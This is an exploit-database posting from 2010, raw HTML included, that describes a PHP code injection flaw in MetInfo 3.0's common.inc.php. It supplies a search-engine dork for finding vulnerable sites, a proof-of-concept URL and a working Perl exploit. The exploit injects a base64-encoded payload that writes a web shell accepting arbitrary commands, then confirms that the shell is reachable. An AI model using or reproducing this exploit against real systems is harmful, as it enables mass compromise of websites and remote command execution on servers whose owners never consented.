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[webapps / 0day] - MetInfo 3.0 PHP Code Injection Vulnerabil

Posted on 31 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>MetInfo 3.0 PHP Code Injection Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='MetInfo 3.0 PHP Code Injection Vulnerability by Beach in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>============================================
MetInfo 3.0 PHP Code Injection Vulnerability
============================================

#####################################################################################################
#Exploit Title£ºMetInfo 3.0 PHP Code Injection Vulnerability
#Date:2010-10-31
#Author£ºlinux520.com
#Team£ºhttp://www.linux520.com/
#Vendor£ºhttp://www.metinfo.cn/
#Dork£º&quot;Powered by  MetInfo 3.0 &quot;  #    Google: 400,000 + results
#Price£º free
#Language£ºPHP
#Greetz£ºCCAV
#####################################################################################################
+Description£º
at 67 line of  ROOTPATH/include/common.inc.php:
 
eval(base64_decode($allclass[0]));
 
$allclass[0]  is not defined £¬so we can inject eval php code
#####################################################################################################
+POC£ºhttp://victim.com/include/common.inc.php?allclass[0]=[base64_encode(eval php code)]
#####################################################################################################
+Exploit:
 
#!/usr/bin/env perl
 
use LWP::UserAgent;
print &quot;################################################################
&quot;;
print &quot;#              MetInfo 3.0 c0de inj3cti0n 3xplo!t              #
&quot;;
print &quot;#                         by:linux520.com                      #
&quot;;
print &quot;################################################################
&quot;;
 
die &quot;Usage: $0 &lt;target site&gt; Ex:$0 victim.com
&quot; unless($ARGV[0]);
my $victim = $ARGV[0];
$user_agent = new LWP::UserAgent;
$vul_request = new HTTP::Request(&#039;GET&#039;,&quot;http://$victim/include/common.inc.php?allclass[0]=ZnB1dHMoZm9wZW4oJy4uL3RlbXBsYXRlcy90ZXN0LnBocCcsJ3crJyksJzw/cGhwIHBhc3N0aHJ1KCRfR0VUW2NtZF0pPz4nKTs=&quot;);
# fputs(fopen(&#039;../templates/test.php&#039;,&#039;w+&#039;),&#039;&lt;?php passthru($_GET[cmd]);?&gt;&#039;);
$user_agent-&gt;request($vul_request);
$response = $user_agent-&gt;request(new HTTP::Request(&#039;GET&#039;,&quot;http://$victim/templates/test.php&quot;));
if($response-&gt;is_success)
{
    print &quot;code injection successful ! plz look at http://$victim/templates/test.php?cmd=id&quot;;
}
else
{
print &quot;could not connect to $victim&quot;;
}
#####################################################################################################


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-31]</pre></body></html>

 

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